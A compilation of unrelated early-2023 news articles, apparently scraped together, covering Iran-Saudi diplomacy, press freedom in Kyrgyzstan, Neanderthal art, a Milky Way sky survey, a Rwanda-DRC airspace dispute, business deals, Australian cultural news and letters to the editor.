In the corridors of Red Dragon, a Bucharest shopping center notorious for tax-evasion scandals, some shops sell ia designs made in India and China that Manescu says were copied directly from her and other Romanian makers that sell for some 100 lei ($22). A high-quality handcrafted blouse made in Romania sells for around 500 lei. Some Indian-made blouses that RFE/RL saw in Red Dragon featured English-language labels claiming that the blouses are "unique individually crafted work[s] of of art."

Manescu envisions some form of labeling that could distinguish authentic handmade Romanian ia from foreign copies. "I wrote one proposal to the government, but I don't think they want to listen to me," the businesswoman told RFE/RL. Certificates of authenticity that would make copies harder to pass off have been implemented by other European makers of traditional items on the UNESCO list.
Welcome back to The Farda Briefing, an RFE/RL newsletter that tracks the key issues in Iran and explains why they matter. To subscribe, click here. www.rferl.org/a/31793259.html



I'm RFE/RL correspondent Golnaz Esfandiari. Here's what I've been following during the past week and what I'm watching for in the days ahead.

The Big Issue

Iran appears to be making headway toward renewing official ties with Saudi Arabia and Persian Gulf states that in some cases have been publicly avoiding Tehran for decades.

The foreign ministers of Iran and Saudi Arabia held talks in Beijing on April 6 in a significant step toward restoring diplomatic relations, which were cut in 2016 after protesters attacked Saudi diplomatic missions in Iran following Riyadhs execution of prominent Saudi Shi'ite cleric Sheikh Nimr al-Nimr.

Iran also accepted an invitation from Saudi King Salman for President Ebrahim Raisi to visit Riyadh, while Tehran said it will send a similar invitation to the Saudi king. Meanwhile, a Saudi delegation traveled to Iran on April 9 to discuss the reopening of the embassy in Tehran and a consulate in Mashhad. The trip came as Iranian media reported on April 8 that a street sign near the Saudi consulate in Mashhad provocatively named after Sheikh al-Nimr had been quietly removed. An Iranian delegation also arrived in Saudi Arabia on April 12 to pave the way for the reopening of Iranian diplomatic missions there.

Iran is meanwhile taking steps to improve ties with other countries in the region, naming an ambassador to the United Arab Emirates (U.A.E.) and working to decrease tensions with Egypt and Bahrain.

Why It Matters: Iran and Saudi Arabia appear to be pursuing implementation of last months Chinese-brokered agreement, possibly clearing the way for Tehran to de-escalate tensions with other countries that followed Riyadhs lead on a rupture seven years ago.



What's Next: Tehran and Riyadh could move surprisingly swiftly toward normalization, but its no sure thing. Abdolrasool Divsallar, a visiting professor at the Catholic University of Milan (UCSC), told me that the political environment between the two regional rivals could encourage the start of military and security talks within months.

But Divsallar also warned that opponents at home and abroad could still undermine the agreement. Hard-liners in Iran may act as a spoiler rather than as a supporter of the deal, he said, adding that Israel could do the same.

The regional tensions between Israel and Iran, on one side, andbetween Iran, Saudi [Arabia] and the United States, on the other side, are two dynamics that make this process very fragile, he said.

Divsallar also suggested that any normalization between Iran and countries with less appetite for a quick restoration of ties, for instance Bahrain, could take longer.

They feel more secure under the current status quo rather than immediately normalizing their ties with the Islamic republic and losing their leverage, he said, adding, They may wait to see a major change of policies.

Stories You Might Have Missed

Irans civil aviation sector has for years been under Western sanctions that prevent it from purchasing new aircraft or spare parts for repairs. Now, Russia's oldest airline, Aeroflot, has sent one of its passenger planes to Iran for repairs for the first time ever. Aeroflot reportedly ran into obstacles at home stemming from Western sanctions over Russias ongoing, unprovoked invasion of Ukraine. The RBK media group cited an Aeroflot representative and sources close to the company on April 11 as saying that an Airbus A330-300 had been sent to Tehran on April 5 to be repaired by specialists from Iran's Mahan Air.

Iranian pensioners staged protests in more than a dozen cities across Iran, demanding higher pensions amid soaring prices. Protests were reported on April 9 in Tehran, Ahvaz, Mashhad, Isfahan, Arak, Qom, Shush, Tabriz, and several other cities where retirees complained of poor living conditions and chanted anti-government slogans. Labor protests in Iran have swelled as the economy deteriorates following years of mismanagement compounded by crippling U.S. sanctions.

What We're Watching

Prominent Iranian female religious scholar Sedigheh Vasmaghi has challenged Supreme Leader Ayatollah Ali Khamenei over the Islamic republics mandatory hijab law.

In a letter published online, Vasmaghi asked about the reasoning behind Irans strict model for womens dress and said the Koran does not specify the need for women to cover their hair in public.

There is no evidence to show that during the time of the Prophet Muhammad women were harassed and punished for not covering their hair or even their bodies, Vasmaghi, who has published several books on Islamic jurisprudence, wrote.

Why It Matters: Vasmaghis letter is significant for its timing -- just days after Khamenei asserted that the removal of the hijab in public was religiously banned. But it is also important because it comes from a religious woman who wears the veil while opposing the mandatory hijab, which is seemingly being defied by a growing number of women.

That's all from me for now. Don't forget to send me any questions, comments, or tips that you have.

Until next time,

Golnaz Esfandiari

If you enjoyed this briefing and don't want to miss the next edition, subscribe here. It will be sent to your inbox every Wednesday.
BISHKEK -- More than 25 media organizations and journalists in Kyrgyzstan have urged the Ministry of Culture, Information, and Youth Policies to withdraw a court request to halt the media operations of RFE/RL's Kyrgyz Service, known locally as Radio Azattyk, warning of its effect on the free press.

The letter, made public on January 24, says the move is illegal as Radio Azattyk, officially registered as Azattyk Media, had not violated any laws or regulations in the Central Asian nation.

Kyrgyz authorities blocked Radio Azattyks websites in Kyrgyz and Russian in late October after the media outlet refused to take down a video that was produced by Current Time, a Russian-language network run by RFE/RL in cooperation with Voice of America. Officials of the Central Asian nation have claimed that the authors of the video "predominantly" took the position of the Tajik side.

"[The ministry's motion] does not cite any fact or information proving that Azattyk Media systemically violated the country's laws. The closure of Azattyk Media would not only be a blow to freedom of speech and the independent media, it will certainly lead to a limiting of the right of citizens to receive information," the letter said.

Among organizations that signed the letter are Kyrgyzstan's Media Policy Institute Foundation, the Independent Union of Journalists, the Journalist Social Union, the Journalistic Investigations Foundation, the Media Consult Foundation, and others.

The Ministry of Culture, Information, and Youth Policies informed RFE/RL on January 23 that it had asked the Lenin district court in Bishkek to halt RFE/RL's media operations in the country. The court said later in the day that it will address the request on February 8.

The authorities' decision to block Radio Azattyks websites was based on the Law on Protection from False Information, legislation that drew widespread criticism when it was adopted in August 2021.

Radio Azattyk's bank account in Bishkek was frozen at the time, and in November Kyrgyz authorities suspended the accreditations of 11 RFE/RL correspondents at the country's parliament.

In response to notification about the move, RFE/RL President and Chief Executive Officer Jamie Fly said the broadcaster rejects "these continued unlawful attacks against Radio Azattyk and our independent reporting.

We will pursue all available legal means to preserve our operations in the country. We will continue to serve our loyal Kyrgyz audiences no matter what actions the Kyrgyz government takes, Fly said in a statement published on January 23.

RFE/RL has appealed the move to block the sites with Bishkek's Birinchi Mai district court. The first hearing into the appeal is scheduled for January 26.
Neanderthal art was perhaps more abstract than the stereotypical figure and animal cave paintings Homo sapiens made after Neanderthals disappeared about 30,000 years ago. But archaeologists are beginning to appreciate how creative Neanderthal art was in its own right.

Neanderthal populations in Europe have been traced back at least 400,000 years.

As early as 250,000 years ago, Neanderthal were mixing minerals such as hematite (ochre) and manganese with fluids to make red and black paints  presumably to decorate the body and clothing.

In the 1990s, research by archaeologists radically changed the common view of Neanderthals as dullards.

We now know that, far from trying to keep up with Homo sapiens, they had a nuanced behavioral evolution of their own. Their large brains earned their evolutionary keep.

We know from finding remains in underground caves, including footprints and evidence of tool use and pigments in places where Neanderthals had no obvious reason to be that they appear to have been inquisitive about their world.

Why were they straying from the world of light into the dangerous depths where there was no food or drinkable water?

We cant say for sure, but as this sometimes involved creating art on cave walls it was probably meaningful in some way rather than just exploration.

Neanderthals lived in small, close-knit groups that were highly nomadic.

When they traveled, they carried embers with them to light small fires at the rock shelters and river banks where they camped. They used tools to whittle their spears and butcher carcasses.

We should think of them as family groups, held together by constant negotiations and competition between people.

Although organized into small groups it was really a world of individuals.

The evolution of Neanderthals visual culture over time suggests their social structures were changing.

They increasingly used pigments and ornaments to decorate their bodies.

As I elaborate in my book, Homo sapiens Rediscovered, Neanderthals adorned their bodies perhaps as competition for group leadership became more sophisticated.

Colors and ornaments conveyed messages about strength and power, helping individuals convince their contemporaries of their strength and suitability to lead.

Then, at least 65,000 years ago, Neanderthals used red pigments to paint marks on the walls of deep caves in Spain.

In Ardales cave near Malaga in southern Spain, they colored the concave sections of bright white stalactites.

In Maltravieso cave in Extremadura, western Spain, they drew around their hands.

And in La Pasiega cave in Cantabria in the north, one Neanderthal made a rectangle by pressing pigment-covered fingertips repeatedly to the wall.

We cant guess the specific meaning of these marks, but they suggest that Neanderthal people were becoming more imaginative.

Later still, about 50,000 years ago, came personal ornaments to accessorize the body.

These were restricted to animal body parts  pendants made of carnivore teeth, shells and bits of bone.

These necklaces were similar to those worn around the same time by Homo sapiens, probably reflecting a simple shared communication that each group could understand.

Did Neanderthal visual culture differ from that of Homo sapiens? I think it probably did, although not in sophistication.

They were producing non-figurative art tens of millennia before the arrival of Homo sapiens in Europe, showing that they had independently created it.

But it differed. We have as yet no evidence that Neanderthals produced figurative art such as paintings of people or animals, which from at least 37,000 years ago was widely produced by the Homo sapiens groups that would eventually replace them in Eurasia.

Figurative art is not a badge of modernity, nor the lack of it an indication of primitiveness.

Neanderthals used visual culture in a different way to their successors.

Their colors and ornaments strengthened messages about each other through their own bodies rather than depictions of things.

It may be significant that our own species didnt produce images of animals or anything else until after Neanderthals, Denisovans and other human groups had become extinct.

Nobody had use for it in the biologically mixed Eurasia of 300,000 to 40,000 years ago.

But in Africa a variation on this theme was emerging. Our early ancestors were using their own pigments and non-figurative marks to begin referring to shared emblems of social groups such as repeated clusters of lines  specific patterns.

Their art appears to have been less about individuals and more about communities, using shared signs such as those engraved onto lumps of ochre in Blombos cave in South Africa, like tribal designs.

Ethnicities were emerging, and groups  held together by social rules and conventions  would be the inheritors of Eurasia.

_____

Paul Pettitt. Homo sapiens Rediscovered: The Scientific Revolution Rewriting Our Origins. Thames & Hudson, 2023

Author: Professor Paul Pettitt, a researcher in the Department of Archaeology at Durham University.

This article was originally published on The Conversation.
The second data release of the Dark Energy Camera Plane Survey (DECaPS2), which took two years to complete and produced more than 10 terabytes of data from 21,400 individual exposures, contains a staggering 3.32 billion celestial objects. The DECaPS2 data were gathered by the Dark Energy Camera (DECam) instrument on the Victor M. Blanco 4-m Telescope at NSFs Cerro Tololo Inter-American Observatory in Chile.

DECaPS2 is a survey of the plane of the Milky Way as seen from the southern sky taken at optical and near-infrared wavelengths.

The first trove of data from DECaPS was released in 2017, and with the addition of the new data release, the survey now covers 6.5% of the night sky and spans a staggering 130 degrees in length.

While it might sound modest, this equates to 13,000 times the angular area of the full Moon.

Most of the stars and dust in the Milky Way are located in its disk, in which the spiral arms lie, explained Andrew Saydjari, a graduate student at Harvard University and an astronomer at the Harvard & Smithsonians Center for Astrophysics.

While this profusion of stars and dust makes for beautiful images, it also makes the Galactic plane challenging to observe.

Another challenge arises from the sheer number of stars, which can overlap and make it difficult to disentangle individual stars from their neighbors.

Despite the challenges, we delved into the Galactic plane to gain a better understanding of our Milky Way.

By observing at near-infrared wavelengths, we were able to peer past much of the light-absorbing dust.

The astronomers also used an innovative data-processing approach, which allowed them to better predict the background behind each star.

This helped to mitigate the effects of nebulae and crowded star fields on such large astronomical images, ensuring that the final catalog of processed data is more accurate.

One of the main reasons for the success of DECaPS2 is that we simply pointed at a region with an extraordinarily high density of stars and were careful about identifying sources that appear nearly on top of each other, Saydjari said.

Doing so allowed us to produce the largest such catalog ever from a single camera, in terms of the number of objects observed.

When combined with images from Pan-STARRS 1, DECaPS2 completes a 360-degree panoramic view of the Milky Ways disk and additionally reaches much fainter stars, said Dr. Edward Schlafly, an astronomer at the Space Telescope Science Institute.

With this new survey, we can map the three-dimensional structure of the Milky Ways stars and dust in unprecedented detail.

Since my work on the Sloan Digital Sky Survey two decades ago, I have been looking for a way to make better measurements on top of complex backgrounds, said Professor Douglas Finkbeiner, an astronomer at the Harvard & Smithsonians Center for Astrophysics.

This work has achieved that and more!

The results were published in the Astrophysical Journal Supplement.

_____

Andrew K. Saydjari et al. 2023. The Dark Energy Camera Plane Survey 2 (DECaPS2): More Sky, Less Bias, and Better Uncertainties. ApJS 264, 28; doi: 10.3847/1538-4365/aca594
Le Rwanda accuse la RDC d'avoir viole son espace aerien

Le Rwanda a accuse mardi un avion de chasse de la Republique democratique du Congo (RDC) d'avoir viole son espace aerien, dernier episode en date des vives tensions entre Kigali et Kinshasa depuis une offensive rebelle dans l'est de la RDC.





Mardi "a 17H03, un Sukhoi-25 en provenance de la Republique democratique du Congo a viole pour la troisieme fois l'espace aerien rwandais" dans le district de Rubavu, en face de la ville de Goma, a affirme Yolande Makolo, porte-parole du gouvernement rwandais, dans une declaration transmise a l'AFP, ajoutant que "des mesures defensives ont ete prises", sans donner plus de details.





"Le Rwanda demande a la RDC d'arreter cette agression", a-t-elle conclu.





Les autorites rwandaises avaient deja accuse en novembre et en decembre des avions de chasse congolais d'avoir viole son espace aerien.





Une forte detonation a ete entendue mardi apres-midi a Goma, dans l'est de la RDC, par des journalistes de l'AFP, suivie de deux tirs et du passage d'un avion Sukhoi de l'armee congolaise.





Un tir semble avoir touche l'avion congolais, qui a toutefois pu atterrir sur la piste de l'aeroport de Goma, selon des temoignages et une video amateur diffusee sur les reseaux sociaux.





Ces tirs ont provoque un debut de panique a Goma.





Les autorites congolaises n'avaient pas encore communique en fin de journee sur cet incident.





En depit d'annonces de cessez-le-feu et de retrait des troupes, les combats persistent dans l'est de la RDC entre l'armee congolaise et les rebelles du groupe M23 (pour "Mouvement du 23 mars").





Un sommet reuni le 23 novembre a Luanda avait pourtant decide d'un cessez-le-feu a partir du 25 novembre, suivi deux jours plus tard du retrait du M23 des zones conquises depuis plusieurs mois dans la province du Nord-Kivu.





Cette rebellion majoritairement tutsi a repris les armes fin 2021, apres pres de dix ans d'exil au Rwanda et en Ouganda voisins. Soutenus et en partie equipes par l'armee rwandaise, les combattants se sont empares de vastes pans du territoire de Rutshuru, au nord de Goma.





Dans un rapport publie en decembre, des experts mandates par l'ONU affirment avoir collecte des "preuves substantielles" demontrant "l'intervention directe des forces de defense rwandaises (RDF) sur le territoire de la RDC", au moins entre novembre 2021 et octobre 2022.





L'Union europeenne a appele le Rwanda a "cesser de soutenir le M23".





Kigali accuse de son cote l'armee congolaise de collusion avec une rebellion hutu rwandaise implantee dans l'est de la RDC depuis le genocide des Tutsi de 1994 au Rwanda.




The United States has concerns about a decision by South Africa to join Russia and China in their military drills, White House Press Secretary Karine Jean-Pierre said.

She refused to say whether Washington had made this position clear to Pretoria, where Russian Foreign Minister Sergey Lavrov visited on Monday. "I don't have any conversations to read out, but we've been very-very consistent [on this issue]," Jean-Pierre said.

She did not say what consequences African governments that work with Russias Wagner private military company may face in the wake of Washingtons decision to designate it as a transnational criminal organization. Nor did Jean-Pierre comment on whether US Treasury Secretary Janet Yellen might be talking about this during her African tour. "I will leave any conversation that Secretary Yellen has had with leaders to her and to her office to speak to," the White House press secretary said.
Page Content

Two recent shootings in California have stunned the Asian American community.

On Jan. 21, a 72-year-old gunman opened fire at a dance studio in Monterey Park, Calif., killing 11 people and injuring nine more as the city's large Asian American community was celebrating Lunar New Year weekend.

The suspect, a man of Asian descent, was found dead the next day of an apparent self-inflicted gunshot wound. Law enforcement is still investigating the shooter's motive.

"It is horrible that such a thing could occur at a time of celebration for so many in the AAPI community and in the Asian community worldwide," said Rep. Judy Chu, of California, during a Jan. 22 news conference.

On Jan. 23, another gunman opened fire at two separate businesses in Half Moon Bay, Calif., killing seven and leaving one person critically wounded. At least one victim was of Chinese descent. The suspect, an Asian man who turned himself into police, was described by police as a disgruntled employee who worked at one of the businesses.



Neither incident has proved to be racially charged.



A rise in violence against Asian American individuals has occurred since the start of the COVID-19 pandemic, with some events taking place in workplace settings. In 2021, President Joe Biden announced actions to curb anti-Asian violence and signed into law a measure aiming to reduce hate crimes.

Asian American workers also often face discrimination and other challenges in the workplace, which can affect their personal and professional well-being.

SHRM Online has gathered additional news on this topic.



Asian Community Reeling After Lunar New Year Shooting

The Monterey Park shooting sent shock waves through Asian American communities around the nation, prompting police from San Francisco to New York to step up patrols at Lunar New Year celebrations in their own cities. Asian American advocacy groups said it was another blow after years of high-profile anti-Asian violence around the country.



(Associated Press)

Asian Americans Face Violence, Workplace Discrimination

Amid the COVID-19 pandemic, discrimination against Asian Americans rose. From 2019 to 2020, anti-Asian hate crimes rose by nearly 150 percent in 16 of the largest cities in the U.S. Many of these incidents happened in the workplace.

(SHRM Online)

About a Third of Asian Americans Say They Have Changed Their Daily Routine Due to Concerns Over Threats, Attacks

Most Asian American adults say violence against them is increasing, according to a 2022 Pew Research Center survey. One in 5 respondents worry daily or almost daily of threats or attacks because of their race or ethnicity.

(Pew Research Center)



SHRM Resource Hub Page

Workplace Violence



Training Aims to Prevent Workplace Shootings



Mass shootings have become more common across the country in recent years, making it even more critical for employers to ensure that their workplaces are safe and that workers understand how to handle active shooter scenarios.



(SHRM Online)

Tips for Helping Asian American Workers Progress Professionally

Joy Chen, former deputy mayor of Los Angeles and now the CEO of the Multicultural Leadership Institute in Los Angeles, said HR professionals can help Asian American workers rise through the leadership ranks by recognizing and fighting against biased perceptions.

(SHRM Online)






Indian software-as-a-Service (SaaS) companies are poised to command 8 per cent of the global SaaS market, generating $35 billion in annual recurring revenue (ARR) by 2027, a report showed on Tuesday.

It will be a growth of 20-25 per cent per annum for the homegrown SaaS firms, according to Bain & Company's report.

Investment in India SaaS went up by 20 per cent last year compared to 2021, and reached an all-time high of $5.1 billion, according to the report.

This was driven by increased interest in earlier-stage deals -- with significantly more seed deals that have doubled in size over the past 3 years and a doubling of Series A investments compared to 2021.

"This ecosystem is being driven by a flywheel comprised of SaaS companies who are successfully executing on their global ambitions and an investor base that believes in the potential of Indian SaaS," said Arpan Sheth, Partner at Bain & Company and lead of the Private Equity and Alternative Investor practice in India.

"We are now seeing the emergence of a set of Indian SaaS companies who have a right to win not just in India, but globally," added Sheth.

Indian SaaS companies' future trajectory remains promising as their total annual recurring revenue, of $12 billion-$13 billion in 2022 is up four times over the past five years.

Of the 1,600 Indian SaaS companies that have now been funded over the past five years, around 14 of them exceed $100 million in ARR (vs. around 1-2 five years ago) and are reaching this growth milestone as quickly as their US counterparts, the report mentioned.

Indian SaaS venture capital (VC) investments were up by 10 per cent in the first three quarters of 2022 compared to 2021.

The outlook for Indian SaaS investment remains broadly positive over the next 12 months, with 90 per cent of Indian SaaS investors expecting to increase or maintain their capital allocation to SaaS.

"Over 70 per cent of Indian SaaS investors plan to increase their investment in the sector," said Prabhav Kashyap, Partner at Bain & Company and co-author of the report.

Buyer sentiment in SaaS will remain broadly positive going forward as well, with approximately 65 per cent of enterprise software decision makers expecting to increase their 2023 software budgets, said the report.
Microsoft Corp said that it would increase its investment in OpenAI, putting its future on the firm and technology behind the ChatGPT chatbot phenomenon and paving the way for more competition with Alphabet Inc.'s Google.

Recently touting a revolution in artificial intelligence (AI), Microsoft is building on a bet it made nearly four years ago on OpenAI. In 2019 it dedicated $1 billion to the startup co-founded by Elon Musk and investor Sam Altman and has since built a supercomputer to power OpenAIs technology, among other forms of support.

In a blog post, Microsoft said, We are announcing the third phase of our long-term partnership with OpenAI through a multiyear, multibillion-dollar investment to accelerate AI breakthroughs to ensure these benefits are broadly shared with the world.

A Microsoft spokesperson declined to comment on the terms of the investment, which some media outlets earlier reported would be $10 billion.

Microsoft is committing even more resources to keep the two companies at the forefront via so-called generative AI, technology that can learn from vast data how to create virtually any type of content simply from a text prompt. OpenAIs ChatGPT, which produces prose or poetry on command, is the prime example that last year gained widespread attention in Silicon Valley.

Microsoft last week said it aimed to imbue such AI into all its products, as OpenAI continues to pursue the creation of human-like intelligence for machines. Microsoft is already adding OpenAIs tech to Bing, its search engine that for the first time in years is being discussed as a potential rival to Google, the industry leader.

The widely anticipated investment shows how Microsoft is locked in competition with Google, the inventor of key AI research thats now planning its own unveil for this spring, a person familiar with the matter previously told.
The founder of Globevestor just revealed the opening of Momentum Capital, a brand-new international micro-VC firm. Momentum Capital, which has operations in Canada, India, and the US, specialises on seed-stage Indian businesses and makes use of its extensive worldwide network to support their international expansion.

Ankur, who co-founded Globevestor in 2013, has backed more than 40 startups, including the successes Agnikul, Springboard, Zoomcar, Devtron, Good Health Company, Flintobox, and many others. His prior investments span a variety of sectors, including EdTech, SaaS, and the environment. His previous portfolio companies have received over $500 million in funding from Sequoia, Accel, Y Combinator, Khosla Ventures, Menlo Ventures, Insight Partners, Foundation Capital, and others. They are currently valued at over USD 1.5 billion.

"At Globevestor, we successfully pioneered a focused cross-border, hybrid-VC approach to investing across the US-India corridor to support Indian startup founders. Momentum Capital is an organic jump in the journey to deeply leverage our global network & cross-border presence for the benefit of Indian startup founders," Ankur Shrivastava (Founder & Managing Partner, Momentum Capital) shared.

Momentum Capital aggressively supports entrepreneurs' global scaling thanks to its multi-national workforce and extensive network in Canada, India, and the US. Its strong and impressive advisory board and partner network includes Bill Draper (Founder, Sutter Hill Ventures), Adam Draper (Founder, Boost VC), Adeo Ressi (Chairman, Founder Institute), Mike Suprovici (Head of Acceleration, VC Lab), Abhilash Singh (Founding Partner, Auctus Advisors), and numerous global CXOs from top VC/PE firms, tech giants, blitzscaling.

"We've consciously chosen a strong set of advisors, investors, and venture partners across continents and verticals, to supercharge access to global capital and knowledge for Indian founders at the seed stage itself. I've shifted base to North America recently to double down on this further," Ankur added.

The company has already finalised a few stealth investments, and despite being generally sector-agnostic, it will have a preference for technology businesses with a focus on the environment, health, and SaaS. Although a few globally competitive firms have been developed in India in recent years, the company predicts that a large number of future global tech stars will be born in India. "For Indian businesses, it is still a terrific time to build despite the prolonged finance cold. With more financial restraint, we hope to partner with passionate founders who are creating for India and the rest of the globe. We're here to help them wherever they go in their quest for victory "I'm done, says Ankur.

Momentum Capital is a multinational micro-VC business with operations in Canada, the United States, and India. It invests in pre-seed and seed stage Indian technology startups across industries, with a preference for SaaS, health, and the environment. The company boosts global network leverage for Indian founders at the earliest stages thanks to a robust group of advisors, investors, and partners with substantial investing experience distributed across continents & verticals.
Our hearts go out to the friends and families of the victims of Mondays horrific shooting that claimed the lives of seven people, all farmwor
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18:23 | Madrid (Spain), Jan. 24.





According to Peru's Exports and Tourism Promotion Board (PromPeru) , the South American nation takes part in this year's edition with great expectation and after two years of absence.





During three days of participation, Peru will show its full potential through different gastronomic samples in six categories (Seafood, Andean, Amazonian, Chifa, Nikkei, and Creole) with tastings provided by 16 Peruvian restaurants based in Spain.





The Peruvian pavilion offers tastings and puts emphasis on the versatility and exceptional aroma of each of the strains used to make Pisco, as well as specialty coffees from different regions in Peru, prepared by mixologists and baristas present in the Spanish capital.





Peruvian participation





Virgilio Martinez, a Peruvian chef and owner of It is worth noting the presence of, a Peruvian chef and owner of Central a Lima-based eatery that was recently named the second-best restaurant in the world who gave a talk at the event.





Peru participates at Madrid Fusion as part of PromPeru's tourism and commercial strategy at a time of great gastronomic consolidation, which has led it gain great recognition worldwide.





The best of Peru's exportable supply includes fruits, vegetables, seafood, Pisco and specialty coffee, among other products.





Regarding the gastronomic tourism thinking in the medium and long term it is focused on non-crowded destinations, as well as on rural, safe and harmless, healthy and nutritious environments.





This type of tourism is ideal to strengthen the recovery of the sector, boosted by the close relationship between Peruvian gastronomy and national identity.





Peruvian gastronomy in Spain





The tourism promotion agency stressed that Peruvian gastronomy has competed with the highly acclaimed Spanish cuisine and has managed to earn a place in the palate of Spanish people.

(END) NDP/SDD/RMB

Peru participates at Madrid Fusion 2023 the most important gastronomic event in Spain highlighting the great work carried out by Peruvian entrepreneurs and chefs who have chosen the Iberian country as a place to develop their culinary talent.Publicado: 24/1/2023
BHP, the largest Australian miner, has struck a new deal to explore for copper in Serbia as it accelerates efforts to boost its exposure to metals that will be vital to building electric cars and green energy technology.

The Melbourne-based mining giants agreement with Canadas Mundoro Capital gives it the option to take a stake in three exploration areas that Mundoro holds in the Timok region of eastern Serbia. Copper is considered one of the key building blocks of the clean energy revolution, used in electric vehicles, wind turbines and power grids transmission lines.

Miners such as BHP have long stated a desire to expand their output of the red metal. Credit: AP

Mundoro welcomes BHP as an exploration partner that recognises the potential of further exploration in the western Tethyan Belt, Mundoro chief executive Teo Dechev said.

Top mining companies across the world, including BHP and rival Rio Tinto, have been ramping up efforts to diversify into so-called future-facing commodities, those standing to benefit from global trends towards decarbonisation.
The Museums of History, the Perrottet governments newest flagship cultural institution, has been hit by two early board departures after a sudden leadership change overshadowed the organisations first days.

The Sydney Morning Herald can reveal that two likely board appointees, both leading philanthropists, withdrew their names in the aftermath of the sudden resignation of Adam Lindsay  the former head of Sydney Living Museums (SLM), who had been a frontrunner to lead the new organisation.

Adam Lindsay, Mary OKane, and John Vallance. Credit: SMH graphics

Australian scientist and engineer Professor Mary OKane, who co-led an investigation into the deadly Lismore floods, will chair the boards first meeting on Wednesday at which State Librarian John Vallance will be confirmed as interim CEO  in addition to his current responsibilities  while a new recruitment search gets underway.

The Museums of History is the result of a merger of 12 museums and the states $1 billion archives. Its creation on January 1 constitutes one of the states biggest cultural reshuffles in more than 20 years.
Just two days after Baz Luhrmann and Catherine Martin attended a memorial service for Lisa Marie Presley, their grief turned to celebrations when Elvis was nominated for eight Oscars including best picture.

The Australian director and his four-time Oscar winning wife are both producers of the Elvis Presley biopic, which is also up for best actor, cinematography, costumes, production design, make-up and hairstyling, editing and sound at the 95th Academy Awards.

Heading to the Oscars: Baz Luhrmann and Austin Butler, who plays Elvis Presley in Elvis. Credit: Gareth Cattermole/Getty Images

At an announcement in Los Angeles early on Wednesday morning (AEDT), two-time Oscar winner Cate Blanchett was nominated for playing an intense composer-conductor in Tar and Brisbane writer-director Lachlan Pendragon for best animated short film for the cutely-titled An Ostrich Told Me The World Is Fake And I Think I Believe It.

Catherine Martin, who has won more Oscars than any other Australian, was nominated three times - for best costumes, best production design and, as one of the producers of Elvis, best picture. She now has nine Oscar nominations and could easily build on her double wins for both Moulin Rouge! and The Great Gatsby.
Opera Australia has put out a call to performers to audition for controversial musical Miss Saigon, a move that has raised concerns in the Asian Australian and creative arts communities.

The production has yet to be officially announced by the company, but The Age and The Sydney Morning Herald understand that the audition process for a revived version produced by Cameron Mackintosh has already started, with audition tapes being accepted late last year and live auditions occurring in Melbourne and Sydney across January and February.

The cast of Miss Saigon performs onstage during the 2017 Tony Awards at Radio City Music Hall in New York City. Credit: Theo Wargo/Getty Images for Tony Awards Productions) .

First staged in 1989, Miss Saigon tells the tragic story of Kim, a young Vietnamese woman who falls in love with an American soldier during the Vietnam War.

The production has attracted controversy since the 1990s when white actors cast in Asian roles would wear prostheses and make up to appear more Asian. More recently, critiques have moved to the storyline itself and its portrayal of both Vietnam and Vietnamese people.
Opposition Leader Peter Dutton says he would block the entry to Australia of the musician formerly known as Kanye West, who has tarnished his reputation and squandered business deals in recent months by attacking Jewish people, praising Adolf Hitler, and airing right-wing conspiracy theories.

Prominent Jewish community leaders are pushing for the Albanese government to reject a potential visa application from rapper and designer Ye, who is rumoured to be keen to meet the Melbourne-based family of his new Australian partner.

Ye has been banned from social media outlets in recent months. Credit: Evan Agostini

It is unclear if Ye plans to travel to Australia. The Herald Sun reported on Monday that the man often heralded as a musical genius wanted to meet relatives of Bianca Censori, the Melbourne-raised 27-year-old revealed earlier this month to be in a relationship with Ye.

A federal government spokeswoman said Immigration Minister Andrew Giles was unable to comment on individual cases and could neither confirm nor deny if an application had been lodged. All non-citizens must meet, and continue to meet, requirements set out in the Migration Act, including security and character requirements, the spokeswoman said.
Irrespective of its origin, the date of Australia Day has now become a national divisive issue in need of review. Australia indeed deserves a day to celebrate our successful nation building. It is inevitable that Australia will need to find a new day for celebration by everybody. And it needs the Voice. It cannot do otherwise for its ultimate nationhood. Perhaps in the end, it will become necessary and opportune for the date to be the first day of a future republic, hopefully before. Les Reedman, Cooranbong Australia is the only nation that takes the beginning of colonisation as its national day, writes Berthold. Says it all. Vic Alhadeff, Kirribilli New developments leave cold city in their shadow I shudder when I hear the words international design competition applied to public land in Sydney (Station redesign prompts radical alternative, January 24). Thats because the phrase, coupled with Sydneys so-called planning regime  a.k.a. ad hoc interference from interested parties  has given us such grotesqueries as Barangaroo: that phallic forest obliterating a once striking and unique foreshore. Now a vast land deck covered by parkland is proposed near Central Station, to be paid for by building high-rise towers on historic and beautiful Prince Alfred Park  for generations a traditional camping site, more recently a Sydney landmark, loved and used by families, walkers, exercise junkies, commuters, swimmers and cyclists. The proponents spokesman admits the firms plan would be contentious. Can I say, sir, youve no idea how bloody contentious. Geraldine OBrien, Redfern

Trading green space never works: put the 15 towers on a land deck over the train lines and keep the precious open green space at Prince Alfred Park. The architects are already talking about only keeping an avenue of fig trees and historic buildings. It takes 10 to 40 years for trees to mature as is evident at Barangaroo park and the historic buildings are important to our history and are irreplaceable. Helen Simpson, Curl Curl Separate proposals for the area to be redeveloped around Sydneys Central Station. Credit: NSW government, Bates Smart I cannot believe it. The NSW government has spent millions making Central more pleasant with Central walk. It plans nice green areas between Railway Square and the station. But it also wants to bury the platforms under a deck which will turn most of the station into a dungeon where you will not be able to see the clock tower. A dungeon where heritage steam specials cannot run. Where commuters and travellers cannot see the sun  or the stars while waiting for your train to leave. The cynic says in me that the only reason for putting it underground is to make money for the Transport Assets Holding Entity. Are these proposals for the benefit of the travelling public? To add insult to injury, the plan also proposes destroy the adjacent Prince Alfred Park. There is enough high rise already. Leave Central alone. Grant Robinson, Springwood Any government that contemplates consuming the little remaining parkland in Sydney should be sent to Siberia, the entire lot. Im happy to contribute. Sydney and NSW desperately need someone with vision, not more wind-funnelling towers and a koala-less countryside. Rather than seeking advice from the big end of town, lets try Clover Moore and her team  the only ones with their integrity intact. Ashley Berry, Toolijooa

